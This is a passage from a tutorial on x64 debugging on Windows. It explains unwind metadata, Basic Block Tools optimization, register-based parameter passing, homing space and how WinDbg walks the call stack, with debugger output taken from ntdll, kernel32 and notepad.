The BeginAddress and EndAddress fields of the RUNTIME\_FUNCTION structure
contain the offset of the start and end of the function's code in the virtual
memory respectively, from the start of the module. When the function generates
an exception, the OS scans the memory mapped copy of the PE file looking for a
RUNTIME\_FUNCTION structure whose extents include the current instruction
address. The UnwindData field of the RUNTIME\_FUNCTION structure contains the
offset of another structure that tells the OS runtime as to how it should go
about unwinding the stack, this is the UNWIND\_INFO structure. The
UNWIND\_INFO structure contains a variable number of UNWIND\_CODE structures,
each one of which reverses the effect of a single stack related operation
performed by the function's prolog.

For dynamically generated code, the OS support functions
RtlAddFunctionTable\(\) and RtlInstallFunctionTableCallback\(\) are used to
create the RUNTIME\_FUNCTION information at runtime.

Figure 5 shows the relationship between the RUNTIME\_FUNCTION and the
UNWIND\_INFO structures and the location of the function in memory.

<img src='img/figure_x64dd_5.png' alt='FIG#5' />  
---  
Figure 5 : Unwind Information  
The debugger's ".fnent" command displays information about the
RUNTIME\_FUNCTION structure for a given function. The following example shows
the output of the ".fnent" command for the function ntdll\!RtlUserThreadStart.

[code]

    0:000> .fnent ntdll!RtlUserThreadStart
    Debugger function entry 00000000`03be6580 for:
    (00000000`77c03260)   ntdll!RtlUserThreadStart   |  (00000000`77c03290)   ntdll!RtlRunOnceExecuteOnce
    Exact matches:
        ntdll!RtlUserThreadStart = 
    
    BeginAddress      = 00000000`00033260
    EndAddress        = 00000000`00033290
    UnwindInfoAddress = 00000000`00128654
    
    Unwind info at 00000000`77cf8654, 10 bytes
      version 1, flags 1, prolog 4, codes 1
      frame reg 0, frame offs 0
      handler routine: ntdll!_C_specific_handler (00000000`77be50ac), data 3
      00: offs 4, unwind op 2, op info 8    UWOP_ALLOC_SMALL
    
[/code]

If BeginAddress shown above is added to the base of the module i.e. ntdll.dll
which contains the function RtlUserThreadStart, the resultant address
0x0000000077c03260 is the start of the function RtlUserThreadStart as shown
below.

[code]

    0:000> ?ntdll+00000000`00033260
    Evaluate expression: 2009084512 = 00000000`77c03260
    
    0:000> u ntdll+00000000`00033260
    ntdll!RtlUserThreadStart:
    00000000`77c03260 sub     rsp,48h
    00000000`77c03264 mov     r9,rcx
    00000000`77c03267 mov     rax,qword ptr [ntdll!Kernel32ThreadInitThunkFunction (00000000`77d08e20)]
    00000000`77c0326e test    rax,rax
    00000000`77c03271 je      ntdll!RtlUserThreadStart+0x1f (00000000`77c339c5)
    00000000`77c03277 mov     r8,rdx
    00000000`77c0327a mov     rdx,rcx
    00000000`77c0327d xor     ecx,ecx
    
[/code]

If EndAddress is used the same way, the resultant address points just past the
end of the function as shown in the example below.

[code]

    0:000> ?ntdll+00000000`00033290
    Evaluate expression: 2009084560 = 00000000`77c03290
    
    0:000> ub 00000000`77c03290 L10
    ntdll!RtlUserThreadStart+0x11:
    00000000`77c03271 je      ntdll!RtlUserThreadStart+0x1f (00000000`77c339c5)
    00000000`77c03277 mov     r8,rdx
    00000000`77c0327a mov     rdx,rcx
    00000000`77c0327d xor     ecx,ecx
    00000000`77c0327f call    rax
    00000000`77c03281 jmp     ntdll!RtlUserThreadStart+0x39 (00000000`77c03283)
    00000000`77c03283 add     rsp,48h
    00000000`77c03287 ret
    00000000`77c03288 nop
    00000000`77c03289 nop
    00000000`77c0328a nop
    00000000`77c0328b nop
    00000000`77c0328c nop
    00000000`77c0328d nop
    00000000`77c0328e nop
    00000000`77c0328f nop 
    
[/code]

So the BeginAddress and EndAddress fields of the RUNTIME\_FUNCTION structure
describe where the corresponding function resides in memory. There is,
however, an optimization, that may be applied to the module after it has been
linked, that can potentially alter the above observations; more on this later.

Although the main purpose of the UNWIND\_INFO and UNWIND\_CODE structures is
to describe how the stack is unwound during an exception, the debugger uses
this information to walk the call stack without having access to the symbols
for the module. Each UNWIND\_CODE structure can describe one of the following
operations performed by a function’s prolog:

  * SAVE\_NONVOL - Save a non-volatile register on the stack.
  * PUSH\_NONVOL - Push a non-volatile register on the stack.
  * ALLOC\_SMALL - Allocate space \(up to 128 bytes\) on the stack.
  * ALLOC\_LARGE - Allocate space \(up to 4GB\) on the stack.

So, in essence, the UNWIND\_CODEs are a meta-data representation of the
functions prolog.

Figure 6 shows the relationship between stack related operations performed by
the function prolog and the description of these operations in the
UNWIND\_CODE structures. The UNWIND\_CODE structures appear in the reverse
order of the instructions they represent, such that during an exception, the
stack can be unwound in the opposite direction in which it was created.

<img src='img/figure_x64dd_6.png' alt='FIG#6' />  
---  
Figure 6 : Unwind Code  
The following example displays the ".pdata" section header from the PE file
for the native version of notepad.exe on an X64 system. The "virtual address"
field indicates that the .pdata section is located at an offset of 0x13000
from the beginning of the executable file.

[code]

    T:\link -dump –headers c:\windows\system32\notepad.exe
    .
    .
    .
    SECTION HEADER #4
      .pdata name
         6B4 virtual size
       13000 virtual address (0000000100013000 to 00000001000136B3)
         800 size of raw data
        F800 file pointer to raw data (0000F800 to 0000FFFF)
           0 file pointer to relocation table
           0 file pointer to line numbers
           0 number of relocations
           0 number of line numbers
    40000040 flags
             Initialized Data
             Read Only
    .
    .
    .
    
[/code]

The next example shows the UNWIND\_INFO and the UNWIND\_CODE structures from
the same executable file i.e. notepad.exe. Each UNWIND\_CODE structure
describes an operation like PUSH\_NONVOL or ALLOC\_SMALL that the function's
prolog performs and must be undone when the stack is unwound, as shown below.
The debugger's ".fnent" command also shows the contents of these two
structures. However, the output of "link -dump -unwindinfo" decodes the entire
contents of the UNWIND\_CODE structures which ".fnent" does not.

[code]

    T:\link -dump -unwindinfo c:\windows\system32\notepad.exe
    .
    .
    .
      00000018 00001234 0000129F 0000EF68
        Unwind version: 1
        Unwind flags: None
        Size of prologue: 0x12
        Count of codes: 5
        Unwind codes:
          12: ALLOC_SMALL, size=0x28
          0E: PUSH_NONVOL, register=rdi
          0D: PUSH_NONVOL, register=rsi
          0C: PUSH_NONVOL, register=rbp
          0B: PUSH_NONVOL, register=rbx.
    .
    .
    .
    
[/code]

The ALLOC\_SMALL in the above output represents the "sub" instruction in the
function's prolog that allocates 0x28 bytes of stack space. Each PUSH\_NONVOL
corresponds to a "push" instruction in the function's prolog which saves a
non-volatile register on the stack and is restored by the "pop" instruction in
the function's epolig. These instructions can be seen in the disassembly of
the function at offset 0x1234 shown below:

[code]

    0:000> ln notepad+1234
    (00000000`ff971234)   notepad!StringCchPrintfW   |  (00000000`ff971364)   notepad!CheckSave
    Exact matches:
        notepad!StringCchPrintfW = 
        notepad!StringCchPrintfW = 
    
    0:000> uf notepad!StringCchPrintfW
    notepad!StringCchPrintfW:
    00000001`00001234 mov     qword ptr [rsp+18h],r8
    00000001`00001239 mov     qword ptr [rsp+20h],r9
    00000001`0000123e push    rbx
    00000001`0000123f push    rbp
    00000001`00001240 push    rsi
    00000001`00001241 push    rdi
    00000001`00001242 sub     rsp,28h
    00000001`00001246 xor     ebp,ebp
    00000001`00001248 mov     rsi,rcx
    00000001`0000124b mov     ebx,ebp
    00000001`0000124d cmp     rdx,rbp
    00000001`00001250 je      notepad!StringCchPrintfW+0x27 (00000001`000077b5)
    ...
    notepad!StringCchPrintfW+0x5c:
    00000001`00001294 mov     eax,ebx
    00000001`00001296 add     rsp,28h
    00000001`0000129a pop     rdi
    00000001`0000129b pop     rsi
    00000001`0000129c pop     rbp
    00000001`0000129d pop     rbx
    00000001`0000129e ret
    
[/code]

##### Performance Optimization

Windows operating system binaries are subject to a profile guided optimization
called Basic Block Tools \(BBT\), which increases the spatial locality of
code. Parts of a function that are executed frequently are kept together,
potentially in the same page, and infrequently used parts are moved to other
locations. This reduces the number of pages that are required to be kept in
memory for the most commonly executed code paths, ultimately resulting in
overall working set reduction. In order to apply this optimization, the binary
is linked, executed, profiled and then the profile data is used to rearrange
parts of a function based on execution frequency.

In the resultant function, some of the function's code blocks are moved
outside the function's main body which was originally defined by the extents
of the RUNTIME\_FUNCTION structure. Due to the code block movement the
function body gets broken up into multiple discontiguous parts and hence the
RUNTIME\_FUNCTION structure, that was originally generated by the linker, is
no longer able to accurately identify the extents of such functions. In order
to address this problem, the BBT process adds multiple new RUNTIME\_FUNCTION
structures each defining one contiguous code block with the optimized
function. These RUNTIME\_FUNCTION structures are chained together with the
chain terminating at the original RUNTIME\_FUNCTION structure whose
BeginAddress always points to the start of the function.

Figure 7 shows a function made from three basic blocks. After applying the BBT
process block \#2 gets moved outside the function body causing the information
in the original RUNTIME\_FUNCTION to become invalid. So the BBT process
creates a second RUNTIME\_FUNCTION structure and chains it to the first one,
thus describing the entire function.

<img src='img/figure_x64dd_7.png' alt='FIG#7' />  
---  
Figure 7 : Performance Optimization : Basic Block Tools  
The current public version of the debugger does not walk the complete chain of
RUNTIME\_FUNCTION structures. So the debugger is unable to show correct names
of optimized functions in which the return address maps to a code block that
has been moved outside the main function body.

The following example shows functions in the call stack whose names are not
displayed correctly. Instead the names are displayed in the form of "ntdll\!
?? ::FNODOBFM::\`string'. The debugger incorrectly translates the return
address 0x0000000077c17623 in frame 0x0c to the name "ntdll\! ??
::FNODOBFM::\`string'+0x2bea0".

[code]

    0:000> kn
     # Child-SP          RetAddr           Call Site
    00 00000000`0029e4b8 000007fe`fdd21726 ntdll! ?? ::FNODOBFM::`string'+0x6474
    01 00000000`0029e4c0 000007fe`fdd2dab6 KERNELBASE!BaseSetLastNTError+0x16
    02 00000000`0029e4f0 00000000`77ad108f KERNELBASE!AccessCheck+0x64
    03 00000000`0029e550 00000000`77ad0d46 kernel32!BasepIsServiceSidBlocked+0x24f
    04 00000000`0029e670 00000000`779cd161 kernel32!LoadAppInitDlls+0x36
    05 00000000`0029e6e0 00000000`779cd42d user32!ClientThreadSetup+0x22e
    06 00000000`0029e950 00000000`77c1fdf5 user32!_ClientThreadSetup+0x9
    07 00000000`0029e980 000007fe`ffe7527a ntdll!KiUserCallbackDispatcherContinue
    08 00000000`0029e9d8 000007fe`ffe75139 gdi32!ZwGdiInit+0xa
    09 00000000`0029e9e0 00000000`779ccd1f gdi32!GdiDllInitialize+0x11b
    0a 00000000`0029eb40 00000000`77c0c3b8 user32!UserClientDllInitialize+0x465
    0b 00000000`0029f270 00000000`77c18368 ntdll!LdrpRunInitializeRoutines+0x1fe
    0c 00000000`0029f440 00000000`77c17623 ntdll!LdrpInitializeProcess+0x1c9b
    0d 00000000`0029f940 00000000`77c0308e ntdll! ?? ::FNODOBFM::`string'+0x2bea0
    0e 00000000`0029f9b0 00000000`00000000 ntdll!LdrInitializeThunk+0xe
    
[/code]

The next example uses the return address 0x0000000077c17623, from above, to
display the RUNTIME\_FUNCTION, UNWIND\_INFO and UNWIND\_CODEs for the function
with the incorrect name. The displayed information contains a section titled
"Chained Info:", which indicates that some of this function's code blocks are
outside the function's main body.

[code]

    0:000> .fnent 00000000`77c17623
    Debugger function entry 00000000`03b35da0 for:
    (00000000`77c55420)   ntdll! ?? ::FNODOBFM::`string'+0x2bea0   |  (00000000`77c55440)   ntdll! ?? ::FNODOBFM::`string'
    
    BeginAddress      = 00000000`000475d3
    EndAddress        = 00000000`00047650
    UnwindInfoAddress = 00000000`0012eac0
    
    Unwind info at 00000000`77cfeac0, 10 bytes
      version 1, flags 4, prolog 0, codes 0
      frame reg 0, frame offs 0
    
    Chained info:
    BeginAddress      = 00000000`000330f0
    EndAddress        = 00000000`000331c0
    UnwindInfoAddress = 00000000`0011d08c
    
    Unwind info at 00000000`77ced08c, 20 bytes
      version 1, flags 1, prolog 17, codes a
      frame reg 0, frame offs 0
      handler routine: 00000000`79a2e560, data 0
      00: offs f0, unwind op 0, op info 3   UWOP_PUSH_NONVOL
      01: offs 3, unwind op 0, op info 0    UWOP_PUSH_NONVOL
      02: offs c0, unwind op 1, op info 3   UWOP_ALLOC_LARGE FrameOffset: d08c0003
      04: offs 8c, unwind op 0, op info d   UWOP_PUSH_NONVOL
      05: offs 11, unwind op 0, op info 0   UWOP_PUSH_NONVOL
      06: offs 28, unwind op 0, op info 0   UWOP_PUSH_NONVOL
      07: offs 0, unwind op 0, op info 0    UWOP_PUSH_NONVOL
      08: offs 0, unwind op 0, op info 0    UWOP_PUSH_NONVOL
      09: offs 0, unwind op 0, op info 0    UWOP_PUSH_NONVOL
    
    
[/code]

The BeginAddress displayed after the "Chained Info" above points to the
beginning of the original function. The output of the "ln" command below shows
that the scrambled function name is actually ntdll\!LdrpInitialize.

[code]

    0:000> ln ntdll+000330f0
    (00000000`77c030f0)   ntdll!LdrpInitialize   |  (00000000`77c031c0)   ntdll!LdrpAllocateTls
    Exact matches:
        ntdll!LdrpInitialize = 
    
[/code]

The debugger's "uf" command displays the assembler code of the entire
function, given any address within the function. It does so by visiting all
the different code blocks in the function by following the jmp/jCC
instructions in each code block. The following output shows the complete
assembler listing for the function ntdll\!LdrpInitialize. The main body of the
function starts at address 00000000\`77c030f0 and ends at address
00000000\`77c031b3. There is, however, a code block that belongs to the
function at address 00000000\`77bfd1a4. This code movement is a result of the
BBT process. The debugger attempts to map this address to the nearest symbol
and comes up with the incorrect symbol "ntdll\! ??
::FNODOBFM::\`string'+0x2c01c", seen in the stack trace earlier.

[code]

    0:000> uf 00000000`77c030f0
    ntdll! ?? ::FNODOBFM::`string'+0x2c01c:
    00000000`77bfd1a4 48c7842488000000206cfbff mov qword ptr [rsp+88h],0FFFFFFFFFFFB6C20h
    00000000`77bfd1b0 443935655e1000  cmp     dword ptr [ntdll!LdrpProcessInitialized (00000000`77d0301c)],r14d
    00000000`77bfd1b7 0f856c5f0000    jne     ntdll!LdrpInitialize+0x39 (00000000`77c03129)
    .
    .
    .
    ntdll!LdrpInitialize:
    00000000`77c030f0 48895c2408      mov     qword ptr [rsp+8],rbx
    00000000`77c030f5 4889742410      mov     qword ptr [rsp+10h],rsi
    00000000`77c030fa 57              push    rdi
    00000000`77c030fb 4154            push    r12
    00000000`77c030fd 4155            push    r13
    00000000`77c030ff 4156            push    r14
    00000000`77c03101 4157            push    r15
    00000000`77c03103 4883ec40        sub     rsp,40h
    00000000`77c03107 4c8bea          mov     r13,rdx
    00000000`77c0310a 4c8be1          mov     r12,rcx
    .
    .
    .
    ntdll!LdrpInitialize+0xac:
    00000000`77c0319c 488b5c2470      mov     rbx,qword ptr [rsp+70h]
    00000000`77c031a1 488b742478      mov     rsi,qword ptr [rsp+78h]
    00000000`77c031a6 4883c440        add     rsp,40h
    00000000`77c031aa 415f            pop     r15
    00000000`77c031ac 415e            pop     r14
    00000000`77c031ae 415d            pop     r13
    00000000`77c031b0 415c            pop     r12
    00000000`77c031b2 5f              pop     rdi
    00000000`77c031b3 c3              ret
    
[/code]

Modules which have been subjected to BBT optimization can be identified by the
word “perf” in the “Characteristics” field in the output of the debuggers
“\!lmi” command, as shown below.

[code]

    0:000> !lmi notepad
    Loaded Module Info: [notepad] 
             Module: notepad
       Base Address: 00000000ff4f0000
         Image Name: notepad.exe
       Machine Type: 34404 (X64)
         Time Stamp: 4a5bc9b3 Mon Jul 13 16:56:35 2009
               Size: 35000
           CheckSum: 3e749
    Characteristics: 22  perf
    Debug Data Dirs: Type  Size     VA  Pointer
                 CODEVIEW    24,  b74c,    ad4c RSDS - GUID: {36CFD5F9-888C-4483-B522-B9DB242D8478}
                   Age: 2, Pdb: notepad.pdb
                    CLSID     4,  b748,    ad48 [Data not mapped]
         Image Type: MEMORY   - Image read successfully from loaded memory.
        Symbol Type: PDB      - Symbols loaded successfully from symbol server.
                     c:\symsrv\notepad.pdb\36CFD5F9888C4483B522B9DB242D84782\notepad.pdb
        Load Report: public symbols , not source indexed 
                     c:\symsrv\notepad.pdb\36CFD5F9888C4483B522B9DB242D84782\notepad.pdb
    
[/code]

#### Parameter Passing

This section discusses how parameters are passed to X64 functions, how the
function stack frames are constructed and how the debugger uses this
information to walk the call stack.

##### Register based parameter passing

On X64, the first 4 parameters are always passed in registers and the rest of
the parameters are passed via the stack. This is one of main causes of grief
during debugging since register values tend to change as functions execute and
it becomes difficult to determine the original parameter values that were
passed to a function, half-way into its execution. Other than this one issue
with retrieving parameters, x64 debugging is not that different from x86
debugging.

Figure 8 shows X64 assembler code depicting how parameters are passed by the
caller to the callee.

<img src='img/figure_x64dd_8.png' alt='FIG#8' />  
---  
Figure 8 : Parameter Passing on X64  
The following call stack shows the function
kernel32\!CreateFileWImplementation calling KERNELBASE\!CreateFileW.

[code]

    0:000> kn
     # Child-SP          RetAddr           Call Site
    00 00000000`0029bbf8 000007fe`fdd24d76 ntdll!NtCreateFile
    01 00000000`0029bc00 00000000`77ac2aad KERNELBASE!CreateFileW+0x2cd
    02 00000000`0029bd60 000007fe`fe5b9ebd kernel32!CreateFileWImplementation+0x7d
    .
    .
    .
    
[/code]

From the MSDN documentation, the function CreateFileW\(\) takes seven
parameters and it's prototype is as follows:

[code]

    HANDLE WINAPI 
    CreateFile(
      __in      LPCTSTR lpFileName,
      __in      DWORD dwDesiredAccess,
      __in      DWORD dwShareMode,
      __in_opt  LPSECURITY_ATTRIBUTES lpSecurityAttributes,
      __in      DWORD dwCreationDisposition,
      __in      DWORD dwFlagsAndAttributes,
      __in_opt  HANDLE hTemplateFile );
    
[/code]

From the call stack, shown earlier, the return address for the frame
containing the function KERNELBASE\!CreateFileW is 00000000\`77ac2aad.
Disassembling backwards from this return address shows the instructions in
kernel32\!CreateFileWImplementation just before the call to
kernel32\!CreateFileW. The instructions "mov rcx,rdi", "mov edx,ebx", "mov
r8d,ebp", "mov r9,rsi" show the first 4 parameters being moved to registers in
preparation for the call to kernel32\!CreateFileW. Similarly the instructions
"mov dword ptr \[rsp+20h\],eax", "mov dword ptr \[rsp+28h\],eax" and "mov
qword ptr \[rsp+30h\],rax" show the rest of parameters, i.e. 5 through 7,
being moved to the stack.

[code]

    0:000> ub  00000000`77ac2aad L10
    kernel32!CreateFileWImplementation+0x35:
    00000000`77ac2a65 lea     rcx,[rsp+40h]
    00000000`77ac2a6a mov     edx,ebx
    00000000`77ac2a6c call    kernel32!BaseIsThisAConsoleName (00000000`77ad2ca0)
    00000000`77ac2a71 test    rax,rax
    00000000`77ac2a74 jne     kernel32!zzz_AsmCodeRange_End+0x54fc (00000000`77ae7bd0)
    00000000`77ac2a7a mov     rax,qword ptr [rsp+90h]
    00000000`77ac2a82 mov     r9,rsi
    00000000`77ac2a85 mov     r8d,ebp
    00000000`77ac2a88 mov     qword ptr [rsp+30h],rax
    00000000`77ac2a8d mov     eax,dword ptr [rsp+88h]
    00000000`77ac2a94 mov     edx,ebx
    00000000`77ac2a96 mov     dword ptr [rsp+28h],eax
    00000000`77ac2a9a mov     eax,dword ptr [rsp+80h]
    00000000`77ac2aa1 mov     rcx,rdi
    00000000`77ac2aa4 mov     dword ptr [rsp+20h],eax
    00000000`77ac2aa8 call    kernel32!CreateFileW (00000000`77ad2c88)
    
[/code]

##### Homing Space

Although the first four parameters are passed via registers, there is still
space allocated on the stack for these four parameters. This is called the
parameter homing space and is used to store parameter values if either the
function accesses the parameters by address instead of by value or if the
function is compiled with the /homeparams flag. The minimum size of this
homing space is 0x20 bytes or four 64-bit slots, even if the function takes
less than 4 parameters. When the homing space is not used to store parameter
values, the compiler uses it to save non-volatile registers.

Figure 9 shows homing space on the stack for register based parameters and how
the function prolog stores non-volatile registers in this parameter homing
space.

<img src='img/figure_x64dd_9.png' alt='FIG#9' />  
---  
Figure 9 : Parameter Homing Space  
In the example below, the "sub rsp, 20h" instruction shows the prolog of a
function allocating 0x20 bytes on the stack, which is enough homing space for
four 64-bit values. The next part of the example shows that the function
msvcrt\!malloc\(\) is a non-leaf function in that it calls a bunch of other
functions.

[code]

    0:000> uf msvcrt!malloc
    msvcrt!malloc:
    000007fe`fe6612dc mov     qword ptr [rsp+8],rbx
    000007fe`fe6612e1 mov     qword ptr [rsp+10h],rsi
    000007fe`fe6612e6 push    rdi
    000007fe`fe6612e7 sub     rsp,20h
    000007fe`fe6612eb cmp     qword ptr [msvcrt!crtheap (000007fe`fe6f1100)],0
    000007fe`fe6612f3 mov     rbx,rcx
    000007fe`fe6612f6 je      msvcrt!malloc+0x1c (000007fe`fe677f74)
    .
    .
    .
    
    0:000> uf /c msvcrt!malloc
    msvcrt!malloc (000007fe`fe6612dc)
      msvcrt!malloc+0x6a (000007fe`fe66132c):
        call to ntdll!RtlAllocateHeap (00000000`77c21b70)
      msvcrt!malloc+0x1c (000007fe`fe677f74):
        call to msvcrt!core_crt_dll_init (000007fe`fe66a0ec)
      msvcrt!malloc+0x45 (000007fe`fe677f83):
        call to msvcrt!FF_MSGBANNER (000007fe`fe6ace0c)
      msvcrt!malloc+0x4f (000007fe`fe677f8d):
        call to msvcrt!NMSG_WRITE (000007fe`fe6acc10)
      msvcrt!malloc+0x59 (000007fe`fe677f97):
        call to msvcrt!_crtExitProcess (000007fe`fe6ac030)
      msvcrt!malloc+0x83 (000007fe`fe677fad):
        call to msvcrt!callnewh (000007fe`fe696ad0)
      msvcrt!malloc+0x8e (000007fe`fe677fbb):
        call to msvcrt!errno (000007fe`fe661918)
    .
    .
    .
    
[/code]

The following assembler code snippet of WinMain's prolog shows four non-
volatile registers being saved in locations on the stack designated as
parameter homing area.

[code]

    0:000> u notepad!WinMain
    notepad!WinMain:
    00000000`ff4f34b8 mov     rax,rsp
    00000000`ff4f34bb mov     qword ptr [rax+8],rbx
    00000000`ff4f34bf mov     qword ptr [rax+10h],rbp
    00000000`ff4f34c3 mov     qword ptr [rax+18h],rsi
    00000000`ff4f34c7 mov     qword ptr [rax+20h],rdi
    00000000`ff4f34cb push    r12
    00000000`ff4f34cd sub     rsp,70h
    00000000`ff4f34d1 xor     r12d,r12d
    
[/code]

##### Parameter Homing

As described in the previous section, all X64 non-leaf functions have
parameter homing area allocated in their stack frames. As per X64 calling
convention, a caller will always use registers to pass the first 4 parameters
to the callee. When parameter homing is enabled using the compiler's
/homeparams flag, only the callee’s code gets affected. This flags is always
enabled in checked/debug builds of binaries built using the Windows Driver Kit
\(WDK\) build environment. The callee's prolog reads the parameter values from
the registers and stores those values on the stack in to the parameter homing
area.

Figure 10 shows the assembler code for the caller where in it moves parameter
values into the respective registers. It also shows the prolog of the callee
that has been compiled with the /homeparams flag, which causes it to home the
parameter values onto the stack. The callee's prolog reads the parameter
values from the registers and stores those values on the stack in the
parameter homing area.

<img src='img/figure_x64dd_10.png' alt='FIG#10' />  
---  
Figure 10 : Parameter Homing  
The following code snippet shows register values being moved to homing area on
the stack allocated by printf's caller.

[code]

    0:000> uf msvcrt!printf
    msvcrt!printf:
    000007fe`fe667e28 mov     rax,rsp
    000007fe`fe667e2b mov     qword ptr [rax+8],rcx
    000007fe`fe667e2f mov     qword ptr [rax+10h],rdx
    000007fe`fe667e33 mov     qword ptr [rax+18h],r8
    000007fe`fe667e37 mov     qword ptr [rax+20h],r9
    000007fe`fe667e3b push    rbx
    000007fe`fe667e3c push    rsi
    000007fe`fe667e3d sub     rsp,38h
    000007fe`fe667e41 xor     eax,eax
    000007fe`fe667e43 test    rcx,rcx
    000007fe`fe667e46 setne   al
    000007fe`fe667e49 test    eax,eax
    000007fe`fe667e4b je      msvcrt!printf+0x25 (000007fe`fe67d74b)
    .
    .
    .
    
[/code]

##### Stack Usage

The stack frame of an X64 function contains the following items:

  * Caller Return Address.
  * Non-Volatile registers pushed onto the stack by the function prolog.
  * Local variables used by the function.
  * Stack based parameters passed to callees.
  * Homing space for register based parameters passed to callees.

Other than the return address, all the items on the stack are put there by the
function's prolog. The stack space occupied by the locals, stack based
parameters to the callees and the homing space for the parameters are all
allocated in a single "sub rsp, xxx" instruction. The space reserved for the
stack based parameters caters to the callee with the most number of
parameters. The register based parameter homing space exists only for non-leaf
functions. It contains space for four parameters even if there isn't a single
callee that takes that many parameters.

Figure 11 shows the layout of the function stack frame on the X64 CPU. The RSP
registers points to location shown in the picture right after the function
prolog completes execution.

<img src='img/figure_x64dd_11.png' alt='FIG#11' />  
---  
Figure 11 : Stack Usage  
The debugger's "knf" command displays the call stack along with the amount of
stack space utilized by every frame in the stack. This stack space utilization
is listed under the "Memory" column.

[code]

    0:000> knf
     #   Memory  Child-SP          RetAddr           Call Site
    00           00000000`0029bbf8 000007fe`fdd24d76 ntdll!NtCreateFile
    01         8 00000000`0029bc00 00000000`77ac2aad KERNELBASE!CreateFileW+0x2cd
    02       160 00000000`0029bd60 000007fe`fe5b9ebd kernel32!CreateFileWImplementation+0x7d
    03        60 00000000`0029bdc0 000007fe`fe55dc08 usp10!UniStorInit+0xdd
    04        a0 00000000`0029be60 000007fe`fe5534af usp10!InitUnistor+0x1d8
    
[/code]

The following assembler code snippet shows the prolog of the function
CreateFileW, which saves the non-volatile registers r8d and edx to the
parameter homing area, pushes rbx, rbp, esi, edi on the stack and allocates
0x138 bytes worth of stack space for local variables and parameters to be
passed to the callees.

[code]

    0:000> uf KERNELBASE!CreateFileW
    KERNELBASE!CreateFileW:
    000007fe`fdd24ac0 mov     dword ptr [rsp+18h],r8d
    000007fe`fdd24ac5 mov     dword ptr [rsp+10h],edx
    000007fe`fdd24ac9 push    rbx
    000007fe`fdd24aca push    rbp
    000007fe`fdd24acb push    rsi
    000007fe`fdd24acc push    rdi
    000007fe`fdd24acd sub     rsp,138h
    000007fe`fdd24ad4 mov     edi,dword ptr [rsp+180h]
    000007fe`fdd24adb mov     rsi,r9
    000007fe`fdd24ade mov     rbx,rcx
    000007fe`fdd24ae1 mov     ebp,2
    000007fe`fdd24ae6 cmp     edi,3
    000007fe`fdd24ae9 jne     KERNELBASE!CreateFileW+0x449 (000007fe`fdd255ff)
    
[/code]

##### Child-SP

The value of the Child-SP register displayed by the debugger's "k" command
represents the address at which the stack pointer \(RSP\) points to, as the
point where the function displayed in that frame, has finished executing its
prolog. The next item that would be pushed on the stack would be the return
address of the function as it invokes its callees. Since X64 functions do not
modify the value of RSP after the function prolog, any stack accesses
performed by the rest of the function are done relative to this position of
the stack pointer. This includes access to stack based parameters and local
variables.

Figure 12 shows the stack frame of function f2 and its relationship with the
RSP register displayed in the output of the stack "k" command. The return
address RA1 points to the instruction in function f2 right after the "call f1"
instruction. This return address appears on the call stack right next to the
location that the RSP2 points to.

<img src='img/figure_x64dd_12.png' alt='FIG#12' />  
---  
Figure 12 : Relationship between Child-SP and function frames  
In the following call stack, the value of Child-SP for frame \#01 is
00000000\`0029bc00. This is the value of the RSP register at the point of
execution in CreateFileW\(\) when its prolog has just completed.

[code]

    0:000> knf
     #   Memory  Child-SP          RetAddr           Call Site
    00           00000000`0029bbf8 000007fe`fdd24d76 ntdll!NtCreateFile
    01         8 00000000`0029bc00 00000000`77ac2aad KERNELBASE!CreateFileW+0x2cd
    02       160 00000000`0029bd60 000007fe`fe5b9ebd kernel32!CreateFileWImplementation+0x7d
    03        60 00000000`0029bdc0 000007fe`fe55dc08 usp10!UniStorInit+0xdd
    04        a0 00000000`0029be60 000007fe`fe5534af usp10!InitUnistor+0x1d8
    .
    .
    .
    
[/code]

As discussed above, the contents of the stack right before the address
00000000\`0029bc00 is the return address 000007fe\`fdd24d76 which corresponds
to KERNELBASE\!CreateFileW+0x2cd and is pushed there by the call to
ntdll\!NtCreateFile.

[code]

    0:000> dps 00000000`0029bc00-8 L1
    00000000`0029bbf8  000007fe`fdd24d76 KERNELBASE!CreateFileW+0x2cd
    
[/code]

##### Walking the call stack

On the X86 CPU, the debugger follows the frame pointer \(EBP\) chain to walk
the call stack from the most recent function frame to the least recent one.
The debugger can typically do this without having access to the symbols of the
module whose functions appear on the stack. However this frame pointer chain
can be broken under certain circumstances, like when functions have their
frame pointer omitted \(FPO\). In these cases, the debugger needs the symbols
of the module to be able to accurately walk the call stack.

X64 functions, on the other hand, don't use the RBP register as a frame
pointer and hence, the debugger has no frame pointer chain to follow. Instead,
the debugger uses the stack pointer and the size of the stack frame to walk
the stack. The debugger locates the RUNTIME\_FUNCTION, UNWIND\_INFO and
UNWIND\_CODE structures to compute the stack space utilization for every
function in the call stack and adds these values to the Child-SPs to compute
the value of subsequent Child-SPs.

Figure 13 shows the layout of a function's stack frame. The total size of the
stack frame \(or stack space utilization\) can be calculated by adding the
size of the return address \(8 bytes\) and the amount of stack space taken up
by the non-volatile registers, the local variables, the stack based parameters
to callees and the homing space allocated for the four register based
parameters \(0x20 bytes\). The UNWIND\_CODE structures indicate the number of
non-volatile registers that are pushed on the stack and the amount of space
allocated for the locals and the parameters.

<img src='img/figure_x64dd_13.png' alt='FIG#13' />  
---  
Figure 13 : Walking the x64 call stack  
In the following stack trace, the amount of stack space consumed by the
function in frame \#1 i.e. CreateFileW is 0x160 bytes. The next section shows
how this number is computed and how the debugger uses this to compute the
value of Child-SP for frame \#2. Note that the stack space consumed by the
function listed in frame \#1 is shown under the "Memory" column for frame \#2.

[code]

    0:000> knf
     #   Memory  Child-SP          RetAddr           Call Site
    00           00000000`0029bbf8 000007fe`fdd24d76 ntdll!NtCreateFile
    01         8 00000000`0029bc00 00000000`77ac2aad KERNELBASE!CreateFileW+0x2cd
    02       160 00000000`0029bd60 000007fe`fe5b9ebd kernel32!CreateFileWImplementation+0x7d
    03        60 00000000`0029bdc0 000007fe`fe55dc08 usp10!UniStorInit+0xdd
    04        a0 00000000`0029be60 000007fe`fe5534af usp10!InitUnistor+0x1d8
    .
    .
    .
    
[/code]

The following output shows the operations described by the UNWIND\_CODE
structures. There are a total of 4 non-volatile registers being pushed on the
stack and an allocation of 0x138 bytes for locals and parameters. Non-volatile
registers that are moved \(UWOP\_SAVE\_NONVOL\), as opposed to pushed
\(UWOP\_PUSH\_NONVOL\) on to the stack, don't contribute towards consumption
of stack space.

[code]

    0:000> .fnent kernelbase!CreateFileW
    Debugger function entry 00000000`03be6580 for:
    (000007fe`fdd24ac0)   KERNELBASE!CreateFileW   |  (000007fe`fdd24e2c)   KERNELBASE!SbSelectProcedure
    Exact matches:
        KERNELBASE!CreateFileW = 
    
